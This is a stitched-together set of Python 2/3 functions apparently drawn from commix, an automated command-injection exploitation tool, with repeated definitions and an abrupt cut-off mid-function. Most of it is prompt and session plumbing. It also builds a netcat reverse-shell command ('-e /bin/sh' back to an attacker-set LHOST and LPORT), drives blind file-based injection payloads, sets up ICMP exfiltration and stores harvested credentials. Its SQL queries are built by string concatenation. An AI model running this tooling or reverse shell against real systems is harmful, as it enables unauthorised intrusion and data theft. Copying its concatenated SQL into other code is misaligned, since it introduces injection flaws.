def continue_tests(err): # If defined "--ignore-401" option, ignores HTTP Error 401 (Unauthorized) # and continues tests without providing valid credentials. if menu.options.ignore_401: settings.WAF_ENABLED = True return True # Possible WAF/IPS/IDS if (str(err.code) == "403" or "406") and \ not menu.options.skip_waf: # Check if "--skip-waf" option is defined # that skips heuristic detection of WAF/IPS/IDS protection. settings.WAF_ENABLED = True warn_msg = "It seems that target is protected by some kind of WAF/IPS/IDS." print settings.print_warning_msg(warn_msg) try: while True: question_msg = "Do you want to ignore the error (" + str(err.code) question_msg += ") message and continue the tests? [Y/n/q] > " continue_tests = raw_input(settings.print_question_msg(question_msg)).lower() if continue_tests in settings.CHOICE_YES: return True elif continue_tests in settings.CHOICE_NO: return False elif continue_tests in settings.CHOICE_QUIT: return False else: if continue_tests == "": continue_tests = "enter" err_msg = "'" + continue_tests + "' is not a valid answer." print settings.print_error_msg(err_msg) + "\n" pass except KeyboardInterrupt: print "\n" + Back.RED + settings.ABORTION_SIGN + "Ctrl-C was pressed!" + Style.RESET_ALL raise SystemExit()
def http_auth_err_msg(): err_msg = "Use the '--auth-cred' option to provide a valid pair of " err_msg += "HTTP authentication credentials (i.e --auth-cred=\"admin:admin\")" err_msg += " or use the '--ignore-401' option to ignore HTTP error 401 (Unauthorized)" err_msg += " and continue tests without providing valid credentials." print settings.print_error_msg(err_msg) sys.exit(0)
def ps_check(): if settings.PS_ENABLED == None and menu.options.is_admin or menu.options.users or menu.options.passwords: if settings.VERBOSITY_LEVEL >= 1: print "" warn_msg = "The payloads in some options that you " warn_msg += "have chosen, are requiring the use of PowerShell. " print settings.print_warning_msg(warn_msg) while True: question_msg = "Do you want to use the \"--ps-version\" option " question_msg += "so ensure that PowerShell is enabled? [Y/n/q] > " sys.stdout.write(settings.print_question_msg(question_msg)) ps_check = sys.stdin.readline().replace("\n","").lower() if ps_check in settings.CHOICE_YES: menu.options.ps_version = True break elif ps_check in settings.CHOICE_NO: break elif ps_check in settings.CHOICE_QUIT: print "" os._exit(0) else: if ps_check == "": ps_check = "enter" err_msg = "'" + ps_check + "' is not a valid answer." print settings.print_error_msg(err_msg) pass
def exploitation(url, delay, filename, http_request_method, url_time_response): if url_time_response >= settings.SLOW_TARGET_RESPONSE: warn_msg = "It is highly recommended, due to serious response delays, " warn_msg += "to skip the time-based (blind) technique and to continue " warn_msg += "with the file-based (semiblind) technique." print settings.print_warning_msg(warn_msg) go_back = False while True: if go_back == True: return False question_msg = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " proceed_option = raw_input(settings.print_question_msg(question_msg)).lower() if proceed_option.lower() in settings.CHOICE_PROCEED : if proceed_option.lower() == "s": from src.core.injections.semiblind.techniques.file_based import fb_handler fb_handler.exploitation(url, delay, filename, http_request_method, url_time_response) elif proceed_option.lower() == "c": if tb_injection_handler(url, delay, filename, http_request_method, url_time_response) == False: return False elif proceed_option.lower() == "q": raise SystemExit() else: if proceed_option == "": proceed_option = "enter" err_msg = "'" + proceed_option + "' is not a valid answer." print settings.print_error_msg(err_msg) + "\n" pass else: if tb_injection_handler(url, delay, filename, http_request_method, url_time_response) == False: return False
def do_check(url): check_proxy = True info_msg = "Testing proxy " + menu.options.proxy + "... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: # Check if defined POST data if menu.options.data: request = urllib2.Request(url, menu.options.data) else: request = urllib2.Request(url) # Check if defined extra headers. headers.do_check(request) request.set_proxy(menu.options.proxy,settings.PROXY_PROTOCOL) try: check = urllib2.urlopen(request) except urllib2.HTTPError, error: check = error except: check_proxy = False pass if check_proxy == True: sys.stdout.write("[" + Fore.GREEN + " SUCCEED " + Style.RESET_ALL + " ]\n") sys.stdout.flush() # Check if defined "--force-ssl" option AND "--proxy" option. # We then force the proxy to https if menu.options.force_ssl and menu.options.proxy: settings.PROXY_PROTOCOL = 'https' else: print "[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]" err_msg = "Could not connect to proxy." print settings.print_error_msg(err_msg) sys.exit(0)
def define_py_working_dir(): if settings.TARGET_OS == "win" and menu.options.alter_shell: while True: if not menu.options.batch: question_msg = "Do you want to use '" + settings.WIN_PYTHON_DIR question_msg += "' as Python working directory on the target host? [Y/n] > " sys.stdout.write(settings.print_question_msg(question_msg)) python_dir = sys.stdin.readline().replace("\n","").lower() else: python_dir = "" if len(python_dir) == 0: python_dir = "y" if python_dir in settings.CHOICE_YES: break elif python_dir in settings.CHOICE_NO: question_msg = "Please provide a custom working directory for Python (e.g. '" question_msg += settings.WIN_PYTHON_DIR + "') > " sys.stdout.write(settings.print_question_msg(question_msg)) settings.WIN_PYTHON_DIR = sys.stdin.readline().replace("\n","").lower() break else: err_msg = "'" + python_dir + "' is not a valid answer." print settings.print_error_msg(err_msg) pass settings.USER_DEFINED_PYTHON_DIR = True # eof
def check_for_update(): try: response = urllib2.urlopen('https://raw.githubusercontent.com/stasinopoulos/commix/master/src/utils/settings.py') version_check = response.readlines() for line in version_check: line = line.rstrip() if "VERSION = " in line: update_version = line.replace("VERSION = ", "").replace("\"", "") break if float(settings.VERSION.replace(".","")) < float(update_version.replace(".","")): warn_msg = "Current version seems to be out-of-date." print settings.print_warning_msg(warn_msg) while True: question_msg = "Do you want to update to the latest version now? [Y/n] > " sys.stdout.write(settings.print_question_msg(question_msg)) do_update = sys.stdin.readline().replace("\n","").lower() if do_update in settings.CHOICE_YES: updater() os._exit(0) elif do_update in settings.CHOICE_NO: break else: if do_update == "": do_update = "enter" err_msg = "'" + do_update + "' is not a valid answer." print settings.print_error_msg(err_msg) pass except: print "" pass # eof
def process_json_data(): while True: success_msg = "JSON data found in POST data." if not menu.options.batch: question_msg = success_msg question_msg += " Do you want to process it? [Y/n] > " sys.stdout.write(settings.print_question_msg(question_msg)) json_process = sys.stdin.readline().replace("\n","").lower() else: if settings.VERBOSITY_LEVEL >= 1: print settings.print_success_msg(success_msg) json_process = "" if len(json_process) == 0: json_process = "y" if json_process in settings.CHOICE_YES: settings.IS_JSON = True break elif json_process in settings.CHOICE_NO: break elif json_process in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + json_process + "' is not a valid answer." print settings.print_error_msg(err_msg) pass
def warning_detection(url, http_request_method): try: # Find the host part url_part = url.split("=")[0] request = urllib2.Request(url_part) # Check if defined extra headers. headers.do_check(request) response = requests.get_request_response(request) if response: response = urllib2.urlopen(request) html_data = response.read() err_msg = "" if "eval()'d code" in html_data: err_msg = "'eval()'" if "Cannot execute a blank command in" in html_data: err_msg = "execution of a blank command," if "sh: command substitution:" in html_data: err_msg = "command substitution" if "Warning: usort()" in html_data: err_msg = "'usort()'" if re.findall(r"=/(.*)/&", url): if "Warning: preg_replace():" in html_data: err_msg = "'preg_replace()'" url = url.replace("/&","/e&") if "Warning: assert():" in html_data: err_msg = "'assert()'" if "Failure evaluating code:" in html_data: err_msg = "code evaluation" if err_msg != "": warn_msg = "A failure message on " + err_msg + " was detected on page's response." print settings.print_warning_msg(warn_msg) return url except urllib2.HTTPError, err_msg: print settings.print_error_msg(err_msg) raise SystemExit()
def mobile_user_agents(): print """---[ """ + Style.BRIGHT + Fore.BLUE + """Available Mobile HTTP User-Agent headers""" + Style.RESET_ALL + """ ]--- Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' for BlackBerry 9900 HTTP User-Agent header. Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' for Samsung Galaxy S HTTP User-Agent header. Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' for HP iPAQ 6365 HTTP User-Agent header. Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' for HTC Sensation HTTP User-Agent header. Type '""" + Style.BRIGHT + """5""" + Style.RESET_ALL + """' for Apple iPhone 4s HTTP User-Agent header. Type '""" + Style.BRIGHT + """6""" + Style.RESET_ALL + """' for Google Nexus 7 HTTP User-Agent header. Type '""" + Style.BRIGHT + """7""" + Style.RESET_ALL + """' for Nokia N97 HTTP User-Agent header. """ while True: question_msg = "Which mobile HTTP User-Agent header do you want to use? " sys.stdout.write(settings.print_question_msg(question_msg)) mobile_user_agent = sys.stdin.readline().replace("\n","").lower() try: if int(mobile_user_agent) in range(0,len(settings.MOBILE_USER_AGENT_LIST)): return settings.MOBILE_USER_AGENT_LIST[int(mobile_user_agent)] elif mobile_user_agent.lower() == "q": raise SystemExit() else: err_msg = "'" + mobile_user_agent + "' is not a valid answer." print settings.print_error_msg(err_msg) pass except ValueError: err_msg = "'" + mobile_user_agent + "' is not a valid answer." print settings.print_error_msg(err_msg) pass
def icmp_exfiltration_handler(url, http_request_method): # You need to have root privileges to run this script if os.geteuid() != 0: err_msg = "You need to have root privileges to run this option." print settings.print_error_msg(err_msg) + "\n" os._exit(0) if http_request_method == "GET": #url = parameters.do_GET_check(url) vuln_parameter = parameters.vuln_GET_param(url) request = urllib2.Request(url) headers.do_check(request) else: parameter = menu.options.data parameter = urllib2.unquote(parameter) parameter = parameters.do_POST_check(parameter) request = urllib2.Request(url, parameter) headers.do_check(request) vuln_parameter = parameters.vuln_POST_param(parameter, url) # Check if defined any HTTP Proxy. if menu.options.proxy: try: response = proxy.use_proxy(request) except urllib2.HTTPError, err_msg: if settings.IGNORE_ERR_MSG == False: print "\n" + settings.print_error_msg(err_msg) continue_tests = checks.continue_tests(err) if continue_tests == True: settings.IGNORE_ERR_MSG = True else: os._exit(0)
def flush(url): try: conn = sqlite3.connect(settings.SESSION_FILE) tables = list(conn.execute("SELECT name FROM sqlite_master WHERE type is 'table'")) conn.executescript(';'.join(["DROP TABLE IF EXISTS %s" %i for i in tables])) conn.commit() conn.close() except sqlite3.OperationalError, err_msg: print settings.print_error_msg(err_msg)
def check_lport(lport): try: if float(lport): settings.LPORT = lport print "LPORT => " + settings.LPORT return True except ValueError: err_msg = "The port must be numeric." print settings.print_error_msg(err_msg) + "\n" return False
def check_lhost(lhost): parts = lhost.split('.') if len(parts) == 4 and all(part.isdigit() for part in parts) and all(0 <= int(part) <= 255 for part in parts): settings.LHOST = lhost print "LHOST => " + settings.LHOST return True else: err_msg = "The IP format is not valid." print settings.print_error_msg(err_msg) + "\n" return False
def check_srvport(srvport): try: if float(srvport): settings.SRVPORT = srvport print "SRVPORT => " + settings.SRVPORT return True except ValueError: err_msg = "The provided port must be numeric (i.e. 1234)" print settings.print_error_msg(err_msg) return False
def create_github_issue(err_msg, exc_msg): key = hashlib.md5(exc_msg).hexdigest()[:8] while True: try: if not menu.options.batch: question_msg = "Do you want to automatically create a new (anonymized) issue " question_msg += "with the unhandled exception information at " question_msg += "the official Github repository? [y/N] " sys.stdout.write(settings.print_question_msg(question_msg)) choise = sys.stdin.readline().replace("\n","").lower() else: choise = "" if len(choise) == 0: choise = "n" if choise in settings.CHOICE_YES: break elif choise in settings.CHOICE_NO: print "" return else: err_msg = "'" + choise + "' is not a valid answer." print settings.print_error_msg(err_msg) pass except: print "\n" raise SystemExit() err_msg = err_msg[err_msg.find("\n"):] req = urllib2.Request(url="https://api.github.com/search/issues?q=" + \ urllib.quote("repo:commixproject/commix" + " " + "Unhandled exception (#" + str(key) + ")") ) try: content = urllib2.urlopen(req).read() _ = json.loads(content) duplicate = _["total_count"] > 0 closed = duplicate and _["items"][0]["state"] == "closed" if duplicate: warn_msg = "That issue seems to be already reported" if closed: warn_msg += " and resolved. Please update to the latest " warn_msg += "(dev) version from official GitHub repository at '" + settings.GIT_URL + "'" warn_msg += ".\n" print settings.print_warning_msg(warn_msg) return except: pass data = {"title": "Unhandled exception (#" + str(key) + ")", "body": "```" + str(err_msg) + "\n```\n```\n" + str(exc_msg) + "```"} req = urllib2.Request(url="https://api.github.com/repos/commixproject/commix/issues", data=json.dumps(data), headers={"Authorization": "token " + str(settings.GITHUB_REPORT_OAUTH_TOKEN.decode("base64"))}) try: content = urllib2.urlopen(req).read() except Exception, err: content = None
def notification(url, technique, injection_type): try: if settings.LOAD_SESSION == True: info_msg = "A previously stored session has been held against that host." print settings.print_info_msg(info_msg) while True: if not menu.options.batch: question_msg = "Do you want to resume to the " question_msg += "(" + injection_type.split(" ")[0] + ") " question_msg += technique.rsplit(' ', 2)[0] question_msg += " injection point? [Y/n] > " sys.stdout.write(settings.print_question_msg(question_msg)) settings.LOAD_SESSION = sys.stdin.readline().replace("\n","").lower() else: settings.LOAD_SESSION = "" if len(settings.LOAD_SESSION) == 0: settings.LOAD_SESSION = "y" if settings.LOAD_SESSION in settings.CHOICE_YES: return True elif settings.LOAD_SESSION in settings.CHOICE_NO: settings.LOAD_SESSION = False if technique[:1] != "c": while True: question_msg = "Which technique do you want to re-evaluate? [(C)urrent/(a)ll/(n)one] > " sys.stdout.write(settings.print_question_msg(question_msg)) proceed_option = sys.stdin.readline().replace("\n","").lower() if len(proceed_option) == 0: proceed_option = "c" if proceed_option.lower() in settings.CHOICE_PROCEED : if proceed_option.lower() == "a": settings.RETEST = True break elif proceed_option.lower() == "c" : settings.RETEST = False break elif proceed_option.lower() == "n": raise SystemExit() else: pass else: err_msg = "'" + proceed_option + "' is not a valid answer." print settings.print_error_msg(err_msg) pass if settings.SESSION_APPLIED_TECHNIQUES: menu.options.tech = ''.join(settings.AVAILABLE_TECHNIQUES) return False elif settings.LOAD_SESSION in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + settings.LOAD_SESSION + "' is not a valid answer." print settings.print_error_msg(err_msg) pass except sqlite3.OperationalError, err_msg: print settings.print_critical_msg(err_msg)
def check_lhost(lhost): parts = lhost.split('.') if len(parts) == 4 and all(part.isdigit() for part in parts) and all(0 <= int(part) <= 255 for part in parts): settings.LHOST = lhost print "LHOST => " + settings.LHOST return True else: err_msg = "The provided IP is not in " err_msg += "appropriate format (i.e 192.168.1.5)." print settings.print_error_msg(err_msg) return False
def injection_point_exportation(url, http_request_method): try: if not menu.options.flush_session: conn = sqlite3.connect(settings.SESSION_FILE) result = conn.execute("SELECT * FROM sqlite_master WHERE name = '" + \ table_name(url) + "_ip' AND type = 'table';") if result: if menu.options.tech[:1] == "c" or \ menu.options.tech[:1] == "e": select_injection_type = "R" elif menu.options.tech[:1] == "t": select_injection_type = "B" else: select_injection_type = "S" if settings.TESTABLE_PARAMETER: cursor = conn.execute("SELECT * FROM " + table_name(url) + "_ip WHERE \ url = '" + url + "' AND \ injection_type like '" + select_injection_type + "%' AND \ vuln_parameter = '" + settings.TESTABLE_PARAMETER + "' AND \ http_request_method = '" + http_request_method + "' \ ORDER BY id DESC limit 1;") else: cursor = conn.execute("SELECT * FROM " + table_name(url) + "_ip WHERE \ url = '" + url + "' AND \ injection_type like '" + select_injection_type + "%' AND \ http_header = '" + settings.HTTP_HEADER + "' AND \ http_request_method = '" + http_request_method + "' \ ORDER BY id DESC limit 1;") for session in cursor: url = session[1] technique = session[2] injection_type = session[3] separator = session[4] shell = session[5] vuln_parameter = session[6] prefix = session[7] suffix = session[8] TAG = session[9] alter_shell = session[10] payload = session[11] http_request_method = session[13] url_time_response = session[14] delay = session[15] how_long = session[16] output_length = session[17] is_vulnerable = session[18] return url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable else: no_such_table = True pass except sqlite3.OperationalError, err_msg: print settings.print_error_msg(err_msg) settings.LOAD_SESSION = False return False
def clear(url): try: if no_such_table: conn = sqlite3.connect(settings.SESSION_FILE) conn.execute("DELETE FROM " + table_name(url) + "_ip WHERE \ id NOT IN (SELECT MAX(id) FROM " + \ table_name(url) + "_ip GROUP BY technique);") conn.commit() conn.close() except sqlite3.OperationalError, err_msg: print settings.print_error_msg(err_msg)
def store_cmd(url, cmd, shell, vuln_parameter): try: conn = sqlite3.connect(settings.SESSION_FILE) conn.execute("CREATE TABLE IF NOT EXISTS " + table_name(url) + "_ir" + \ "(cmd VARCHAR, output VARCHAR, vuln_parameter VARCHAR);") conn.execute("INSERT INTO " + table_name(url) + "_ir(cmd, output, vuln_parameter) \ VALUES(?,?,?)", \ (str(base64.b64encode(cmd)), str(base64.b64encode(shell)), str(vuln_parameter))) conn.commit() conn.close() except sqlite3.OperationalError, err_msg: print settings.print_error_msg(err_msg)
def netcat_version(): # Netcat alternatives NETCAT_ALTERNATIVES = [ "/bin/nc", "/bin/busybox nc", "/bin/nc.traditional" ] while True: nc_version = raw_input(""" ---[ """ + Style.BRIGHT + Fore.BLUE + """Unix-like targets""" + Style.RESET_ALL + """ ]--- Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use the default Netcat on target host. Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use Netcat for Busybox on target host. Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use Netcat-Traditional on target host. commix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp_netcat""" + Style.RESET_ALL + """) > """) # Default Netcat if nc_version == '1': nc_alternative = NETCAT_ALTERNATIVES[0] break # Netcat for Busybox if nc_version == '2': nc_alternative = NETCAT_ALTERNATIVES[1] break # Netcat-Traditional elif nc_version == '3': nc_alternative = NETCAT_ALTERNATIVES[2] break elif nc_version.lower() == "reverse_tcp": warn_msg = "You are already into the 'reverse_tcp' mode." print settings.print_warning_msg(warn_msg) continue elif nc_version.lower() == "?": menu.shell_options() continue elif nc_version.lower() in settings.SHELL_OPTIONS: return nc_version elif nc_version[0:3].lower() == "set": if nc_version[4:9].lower() == "lhost": check_lhost(nc_version[10:]) if nc_version[4:9].lower() == "lport": check_lport(nc_version[10:]) else: err_msg = "The '" + nc_version + "' option, is not valid." print settings.print_error_msg(err_msg) continue cmd = nc_alternative + " " + settings.LHOST + " " + settings.LPORT + " -e /bin/sh" return cmd
def wildcard_character(data): if settings.WILDCARD_CHAR in data: if data.count(settings.WILDCARD_CHAR) > 1: err_msg = "You specified more than one testable parameters. " err_msg += "Use the '-p' option to define them (i.e -p \"id1,id2\"). " print settings.print_error_msg(err_msg) sys.exit(0) else: data = data.replace(settings.WILDCARD_CHAR, settings.INJECT_TAG) return data #eof
def check_unicorn_version(current_version): try: if len(current_version) != 0: response = urllib2.urlopen('https://raw.githubusercontent.com/trustedsec/unicorn/master/unicorn.py', timeout=1) latest_version = response.readlines() for line in latest_version: line = line.rstrip() if "Magic Unicorn Attack Vector v" in line: latest_version = line.replace("Magic Unicorn Attack Vector v", "").replace(" ", "").replace("-","").replace("\"","").replace(")","") break if len(current_version) == 0 or \ (int(current_version.replace(".","")[:2]) < int(latest_version.replace(".","")[:2])) or \ ((int(current_version.replace(".","")[:2]) == int(latest_version.replace(".","")[:2])) and \ int(current_version.replace(".","")[2:]) < int(latest_version.replace(".","")[2:])): if len(current_version) != 0: warn_msg = "Current version of TrustedSec's Magic Unicorn (" + current_version + ") seems to be out-of-date." print settings.print_warning_msg(warn_msg) else: warn_msg = "TrustedSec's Magic Unicorn seems to be not installed." print settings.print_warning_msg(warn_msg) while True: if not menu.options.batch: if len(current_version) == 0: action = "install" else: action = "update to" question_msg = "Do you want to " + action + " the latest version now? [Y/n] > " sys.stdout.write(settings.print_question_msg(question_msg)) do_update = sys.stdin.readline().replace("\n","").lower() else: do_update = "" if len(do_update) == 0: do_update = "y" if do_update in settings.CHOICE_YES: unicorn_updater(current_version) elif do_update in settings.CHOICE_NO: break else: err_msg = "'" + do_update + "' is not a valid answer." print settings.print_error_msg(err_msg) pass except KeyboardInterrupt: raise except: pass # eof
def user_defined_os(): if menu.options.os: if menu.options.os.lower() == "windows" or \ menu.options.os[:1].lower() == "w": settings.TARGET_OS = "win" return True elif menu.options.os.lower() == "unix" or \ menu.options.os[:1].lower() == "u": return True else: err_msg = "You specified wrong value '" + menu.options.os + "' " err_msg += "as an operation system. The value, must be (W)indows or (U)nix." print settings.print_error_msg(err_msg) sys.exit(0)
def do_check(url, filename): if perform_checks(url,filename) == False: if menu.options.level == None: menu.options.level = settings.DEFAULT_INJECTION_LEVEL scan_level = menu.options.level while scan_level < settings.HTTP_HEADER_INJECTION_LEVEL and settings.LOAD_SESSION == None: question_msg = "Do you want to increase to '--level=" + str(scan_level + 1) question_msg += "' in order to perform more tests? [Y/n/q] > " sys.stdout.write(settings.print_question_msg(question_msg)) next_level = sys.stdin.readline().replace("\n","").lower() if next_level in settings.CHOICE_YES: menu.options.level = int(menu.options.level + scan_level) if perform_checks(url,filename) == False and scan_level < settings.HTTP_HEADER_INJECTION_LEVEL : scan_level = scan_level + 1 else: break elif next_level in settings.CHOICE_NO: break elif next_level in settings.CHOICE_QUIT: sys.exit(0) else: if next_level == "": next_level = "enter" err_msg = "'" + next_level + "' is not a valid answer." print settings.print_error_msg(err_msg) pass # All injection techniques seems to be failed! if settings.CLASSIC_STATE == settings.EVAL_BASED_STATE == settings.TIME_BASED_STATE == settings.FILE_BASED_STATE == False : print menu.options.level if settings.INJECTION_CHECKER == False: err_msg = "All tested parameters " if menu.options.level > 2: err_msg += "and headers " err_msg += "appear to be not injectable." if not menu.options.alter_shell : err_msg += " Try to use the option '--alter-shell'" else: err_msg += " Try to remove the option '--alter-shell'" if menu.options.level < settings.HTTP_HEADER_INJECTION_LEVEL : err_msg += " and/or try to increase '--level' values to perform" err_msg += " more tests (i.e 'User-Agent', 'Referer', 'Cookie' etc)" err_msg += "." print settings.print_critical_msg(err_msg) sys.exit(0) #eof
def ps_check_failed(): while True: question_msg = "Do you want to ignore the above warning and continue the procedure? [Y/n] > " ps_check = raw_input(settings.print_question_msg(question_msg)).lower() if ps_check in settings.CHOICE_YES: break elif ps_check in settings.CHOICE_NO: print "" os._exit(0) else: if ps_check == "": ps_check = "enter" err_msg = "'" + ps_check + "' is not a valid answer." print settings.print_error_msg(err_msg) + "\n" pass
def import_valid_credentials(url, authentication_type, admin_panel, username, password): try: conn = sqlite3.connect(settings.SESSION_FILE) conn.execute("CREATE TABLE IF NOT EXISTS " + table_name(url) + "_creds" + \ "(id INTEGER PRIMARY KEY, url VARCHAR, authentication_type VARCHAR, admin_panel VARCHAR, \ username VARCHAR, password VARCHAR);") conn.execute("INSERT INTO " + table_name(url) + "_creds(url, authentication_type, \ admin_panel, username, password) VALUES(?,?,?,?,?)", \ (str(url), str(authentication_type), str(admin_panel), \ str(username), str(password))) conn.commit() conn.close() except sqlite3.OperationalError, err_msg: print settings.print_error_msg(err_msg)
def notification(url, technique): try: if settings.LOAD_SESSION == True: success_msg = "A previously stored session has been held against that host." print settings.print_success_msg(success_msg) while True: question_msg = "Do you want to resume to the " question_msg += technique.rsplit(' ', 2)[0] question_msg += " injection point? [Y/n/q] > " sys.stdout.write(settings.print_question_msg(question_msg)) settings.LOAD_SESSION = sys.stdin.readline().replace("\n","").lower() if settings.LOAD_SESSION in settings.CHOICE_YES: return True elif settings.LOAD_SESSION in settings.CHOICE_NO: settings.LOAD_SESSION = False if technique[:1] != "c": while True: question_msg = "Which technique do you want to re-evaluate? [(C)urrent/(a)ll/(n)one] > " sys.stdout.write(settings.print_question_msg(question_msg)) proceed_option = sys.stdin.readline().replace("\n","").lower() if proceed_option.lower() in settings.CHOICE_PROCEED : if proceed_option.lower() == "a": settings.RETEST = True break elif proceed_option.lower() == "c": settings.RETEST = False break elif proceed_option.lower() == "n": raise SystemExit() else: pass else: if proceed_option.lower() == "": proceed_option = "enter" err_msg = "'" + proceed_option + "' is not a valid answer." print settings.print_error_msg(err_msg) pass return False elif settings.LOAD_SESSION in settings.CHOICE_QUIT: raise SystemExit() else: if settings.LOAD_SESSION == "": settings.LOAD_SESSION = "enter" err_msg = "'" + settings.LOAD_SESSION + "' is not a valid answer." print settings.print_error_msg(err_msg) pass except sqlite3.OperationalError, err_msg: print settings.print_critical_msg(err_msg)
def next_attack_vector(technique, go_back): while True: question_msg = "Continue with testing the " + technique + "? [Y/n/q] > " next_attack_vector = raw_input(settings.print_question_msg(question_msg)).lower() if next_attack_vector in settings.CHOICE_YES: return True elif next_attack_vector in settings.CHOICE_NO: return False elif next_attack_vector in settings.CHOICE_QUIT: sys.exit(0) else: if next_attack_vector == "": next_attack_vector = "enter" err_msg = "'" + next_attack_vector + "' is not a valid answer." print settings.print_error_msg(err_msg) + "\n" pass
def crawler(url): if menu.options.crawldepth > 0: menu.options.DEFAULT_CRAWLDEPTH_LEVEL = menu.options.crawldepth if not menu.options.sitemap_url: if menu.options.DEFAULT_CRAWLDEPTH_LEVEL > 2: err_msg = "Depth level '" + str( menu.options.DEFAULT_CRAWLDEPTH_LEVEL) + "' is not a valid." print(settings.print_error_msg(err_msg)) raise SystemExit() info_msg = "Starting crawler and searching for " info_msg += "links with depth " + str( menu.options.DEFAULT_CRAWLDEPTH_LEVEL) + "." print(settings.print_info_msg(info_msg)) else: while True: if not menu.options.batch: question_msg = "Do you want to change the crawling depth level? [Y/n] > " message = _input(settings.print_question_msg(question_msg)) else: message = "" if len(message) == 0: message = "Y" if message in settings.CHOICE_YES or message in settings.CHOICE_NO: break elif message in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + message + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass # Change the crawling depth level. if message in settings.CHOICE_YES: while True: question_msg = "Please enter the crawling depth level (1-2) > " message = _input(settings.print_question_msg(question_msg)) if len(message) == 0: message = 1 break elif str(message) != "1" and str(message) != "2": err_msg = "Depth level '" + message + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: menu.options.DEFAULT_CRAWLDEPTH_LEVEL = message break while True: if not menu.options.sitemap_url: if not menu.options.batch: question_msg = "Do you want to check target for " question_msg += "the existence of site's sitemap(.xml)? [y/N] > " message = _input(settings.print_question_msg(question_msg)) else: message = "" if len(message) == 0: message = "n" if message in settings.CHOICE_YES: sitemap_check = True break elif message in settings.CHOICE_NO: sitemap_check = False break elif message in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + message + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: sitemap_check = True break if sitemap_check: output_href = sitemap(url) if output_href is None: sitemap_check = False info_msg = "Checking " if sitemap_check: info_msg += "identified 'sitemap.xml' " info_msg += "for usable links (with GET parameters). " sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() if not sitemap_check: output_href = do_process(url) if menu.options.DEFAULT_CRAWLDEPTH_LEVEL > 1: for url in output_href: output_href = do_process(url) if SKIPPED_URLS == 0: print(settings.SINGLE_WHITESPACE) info_msg = "Visited " + str( len(output_href)) + " link" + "s"[len(output_href) == 1:] + "." print(settings.print_info_msg(info_msg)) filename = store_crawling() valid_url_found = False try: url_num = 0 valid_urls = [] for check_url in output_href: if re.search(r"(.*?)\?(.+)", check_url): valid_url_found = True url_num += 1 print( settings.print_info_msg("URL #" + str(url_num) + " - " + check_url) + "") if filename is not None: with open(filename, "a") as crawling_results: crawling_results.write(check_url + "\n") if not menu.options.batch: question_msg = "Do you want to use URL #" + str( url_num) + " to perform tests? [Y/n] > " message = _input(settings.print_question_msg(question_msg)) else: message = "" if len(message) == 0: message = "Y" if message in settings.CHOICE_YES: return check_url elif message in settings.CHOICE_NO: if settings.VERBOSITY_LEVEL != 0: debug_msg = "Skipping '" + check_url + "'.\n" sys.stdout.write(settings.print_debug_msg(debug_msg)) pass elif message in settings.CHOICE_QUIT: raise SystemExit() raise SystemExit() except TypeError: pass if not valid_url_found: print(settings.SINGLE_WHITESPACE) raise SystemExit() # eof
def fb_injection_handler(url, timesec, filename, http_request_method, url_time_response): counter = 1 vp_flag = True exit_loops = False no_result = True is_encoded = False stop_injection = False call_tmp_based = False next_attack_vector = False export_injection_info = False injection_type = "semi-blind command injection" technique = "file-based command injection technique" tmp_path = check_tmp_path(url, timesec, filename, http_request_method, url_time_response) if not settings.LOAD_SESSION or settings.RETEST == True: TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) info_msg = "Trying to create a file in '" + settings.WEB_ROOT info_msg += "' for command execution results... " print settings.print_info_msg(info_msg) i = 0 # Calculate all possible combinations total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len( settings.SEPARATORS) * len(settings.SUFFIXES) # Check if defined alter shell alter_shell = menu.options.alter_shell for whitespace in settings.WHITESPACE: for prefix in settings.PREFIXES: for suffix in settings.SUFFIXES: for separator in settings.SEPARATORS: # Check injection state settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False # If a previous session is available. if settings.LOAD_SESSION: try: settings.FILE_BASED_STATE = True url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation( url, http_request_method) checks.check_for_stored_tamper(payload) OUTPUT_TEXTFILE = TAG + ".txt" session_handler.notification( url, technique, injection_type) if technique == "tempfile-based injection technique": #settings.LOAD_SESSION = True tfb_handler.exploitation( url, timesec, filename, tmp_path, http_request_method, url_time_response) except TypeError: err_msg = "An error occurred while accessing session file ('" err_msg += settings.SESSION_FILE + "'). " err_msg += "Use the '--flush-session' option." print settings.print_critical_msg(err_msg) sys.exit(0) if settings.RETEST == True: settings.RETEST = False from src.core.injections.results_based.techniques.classic import cb_handler cb_handler.exploitation(url, timesec, filename, http_request_method) if not settings.LOAD_SESSION: i = i + 1 # The output file for file-based injection technique. OUTPUT_TEXTFILE = TAG + ".txt" # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" try: # File-based decision payload (check if host is vulnerable). if alter_shell: payload = fb_payloads.decision_alter_shell( separator, TAG, OUTPUT_TEXTFILE) else: payload = fb_payloads.decision( separator, TAG, OUTPUT_TEXTFILE) # Check if defined "--prefix" option. # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = re.sub(" ", whitespace, payload) # Check for base64 / 